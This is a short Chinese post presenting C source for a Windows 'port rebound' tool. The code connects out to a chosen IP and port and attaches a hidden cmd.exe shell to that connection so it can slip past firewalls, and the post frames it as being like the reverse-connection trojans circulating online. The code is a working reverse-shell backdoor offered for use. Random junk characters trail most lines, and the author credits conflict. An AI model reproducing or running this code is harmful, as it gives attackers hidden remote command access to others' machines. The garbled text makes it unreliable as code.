Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 '5SO3/{b  
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/* ============================== 0XrOOYmx  
Rebound port in Windows NT ))#_@CwRr  
By wind,2006/7 BjbpR
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===============================*/ '3ZYoA%  
#include o|c"W}W  
#include cjBHczkY  
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#pragma comment(lib,"wsock32.lib") *Ja,3Qq  
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void OutputShell(); Dlu]4n[LB  
SOCKET sClient; /pnQKy.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C)qP9uW  
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void main(int argc,char **argv) |:d:uj/  
{ ` oXL  
WSADATA stWsaData; ogKd}qTov  
int nRet; WevXQ-eKm  
SOCKADDR_IN stSaiClient,stSaiServer; aOo;~u2-=  
bR? $a+a)  
if(argc != 3) "0l7%@z*)q  
{ uB uwE6  
printf("Useage:\n\rRebound DestIP DestPort\n"); >R8eAR$N  
return; ZlsdO.G  
} 3+# "4O  
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WSAStartup(MAKEWORD(2,2),&stWsaData); U})Z4>[bvt  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mnWbV\VY  
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stSaiClient.sin_family = AF_INET; h\$
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stSaiClient.sin_port = htons(0); 9]TvLh3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  al:c2o  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }x}JzA+2  
{ Oe%jV,S|V  
printf("Bind Socket Failed!\n"); @](\cT64i3  
return; r<L>~S>yb  
} ='|H
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stSaiServer.sin_family = AF_INET; Z8Il3b*)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T~'9p`IW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lEv<n6:_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1f`=U0  
{ )Y+?)=~  
printf("Connect Error!"); A4uDuB;;ZQ  
return; ,\
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} E8.xmTq  
OutputShell(); P(BV J_n  
} Z<0+<tt  
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void OutputShell() VpMPTEZ*L  
{ b/Z0{38  
char szBuff[1024]; Z'sO9Sg8>  
SECURITY_ATTRIBUTES stSecurityAttributes; ?*8HZ1m#  
OSVERSIONINFO stOsversionInfo; 5Pl~du  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,0Y5O?pu\  
STARTUPINFO stStartupInfo; 4?^t=7N  
char *szShell; m}3POl/*j  
PROCESS_INFORMATION stProcessInformation; B>&eciY  
unsigned long lBytesRead; R9z^=QKcH  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (e;9,~u)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZXj;ymC'  
stSecurityAttributes.lpSecurityDescriptor = 0; Tse Pdkk  
stSecurityAttributes.bInheritHandle = TRUE; Wd_cNR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?I`ru:iG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _('KNA~
 
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |cBpX+D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *AU"FI>V  
stStartupInfo.wShowWindow = SW_HIDE; NK@G0p~O  
stStartupInfo.hStdInput = hReadPipe; &`'gO 9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O$=)  
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GetVersionEx(&stOsversionInfo); 8\^[@9g3\3  
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switch(stOsversionInfo.dwPlatformId) L){rv)?="  
{ _8'FI_E3  
case 1: k&1~yW  
szShell = "command.com"; '.wyfSH@  
break; y[l19eU  
default: g{cHh(S  
szShell = "cmd.exe"; cKX6pG  
break; 1Bz'$u;  
} ,{{uRs/  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :oH"  
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send(sClient,szMsg,77,0); .#b!#  
while(1) $bU|'}QR  
{ x6ig,N~AO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \8!&XcA  
if(lBytesRead) ZC1U  
{ 6tbH(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nV0"q|0K;  
send(sClient,szBuff,lBytesRead,0); {Z_Pry$6  
} I/s?]v  
else 1& k_&o  
{ 3a4 ]{  
lBytesRead=recv(sClient,szBuff,1024,0); khb Gyg%  
if(lBytesRead<=0) break; %L./U$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?~aM<rcZ  
} N+?kFob  
} N3nk\)V\E  
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return; WQ]~TGW  
}